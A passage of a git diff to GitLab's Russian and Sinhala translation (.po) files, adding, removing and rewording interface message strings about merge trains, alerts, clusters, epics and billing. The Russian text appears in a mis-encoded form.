msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "Ð’Ñ‹ не Ñможете работать Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ð¾Ð¼ через SSH, пока не добавите в Ñвой профиль ключ SSH"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr "Ваш Ð°Ð´Ñ€ÐµÑ Ñлектронной почты Ð´Ð»Ñ ÐºÐ¾Ð¼Ð¼Ð¸Ñ‚Ð
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr "Ваша почта Ð´Ð»Ñ ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ð¹ по умолчанию будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ð¹ учетной запиÑи, еÑли не уÑтановлен Ð°Ð´Ñ€ÐµÑ %{openingTag}Ñлектронной почты Ð´Ð»Ñ ÐºÐ¾Ð½ÐºÑ€ÐµÑ‚Ð½Ð¾Ð¹ группы%{closingTag}."
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr "Ваши группы"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr "читать документацию"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr "утверждающий Ð´Ð»Ñ Ñтого запроÑа на ÑлиÑние уже ÑущеÑтвует"
@@ -28830,12 +29660,6 @@ msgstr "коммит %{commit_id}"
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr "подключение"
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr "в группе %{link_to_group}"
msgid "in project %{link_to_project}"
msgstr "в проекте %{link_to_project}"
-msgid "index"
-msgstr "индекÑ"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "завершенный ÑкземплÑÑ€"
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr "не разрешено. Попробуйте ещё раз Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼ адреÑом Ñлектронной почты или ÑвÑжитеÑÑŒ Ñ Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñтратором GitLab."
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr "не Ñ Ñлектронной почты, которой вы владеете"
@@ -29240,9 +30071,15 @@ msgstr "Потребление %{metricsLinkStart} памÑти %{metricsLinkEnd
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr "Добавлено в цепочку ÑлиÑниÑ"
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "ПозволÑет выполнÑÑ‚ÑŒ коммиты учаÑтникам, которые могут выполнÑÑ‚ÑŒ ÑлиÑние Ñ Ñ†ÐµÐ»ÐµÐ²Ð¾Ð¹ веткой"
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "Пароль Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð½ÐµÐ´ÐµÐ¹Ñтвителен."
@@ -29327,9 +30167,6 @@ msgstr "ЕÑли ветка %{branch} ÑущеÑтвует в вашем локÐ
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr "Добавлено в цепочку ÑлиÑÐ½Ð¸Ñ Ð½Ð° позицию %{mergeTrainPosition}"
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ"
-msgid "mrWidget|No approval required"
-msgstr "Утверждение не требуетÑÑ"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr "Открыть в Web IDE"
@@ -29450,6 +30281,12 @@ msgstr "ИÑÑ…Ð¾Ð´Ð½Ð°Ñ Ð²ÐµÑ‚ÐºÐ° не будет удалена"
msgid "mrWidget|There are merge conflicts"
msgstr "ЕÑÑ‚ÑŒ конфликты ÑлиÑниÑ"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
@@ -29459,12 +30296,6 @@ msgstr "Этот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние не может быть выÐ
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "Этот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð¾Ð±ÑŠÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ ÑÐµÐ¹Ñ‡Ð°Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÑетÑÑ"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "Этот проект архивирован, доÑтуп на запиÑÑŒ отключен"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr "быÑтрые дейÑтвиÑ"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr "Ñчёт"
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr "Ñледующее(ие) обÑуждение(Ñ)"
msgid "this document"
msgstr "Ñтот документ"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "чтобы помочь вашим учаÑтникам взаимодейÑтвовать Ñффективнее!"
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr "запущено"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr "домены, запиÑанные юникодом, должны иÑпользовать IDNA-кодировку"
@@ -29929,6 +30766,9 @@ msgstr "Добавить комментарий"
msgid "vulnerability|Add comment & dismiss"
msgstr "Добавить комментарий и отклонить"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "ПропуÑтить уÑзвимоÑÑ‚ÑŒ"
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index 38afea2b800..19b82c10987 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:41\n"
+"PO-Revision-Date: 2020-09-04 23:04\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
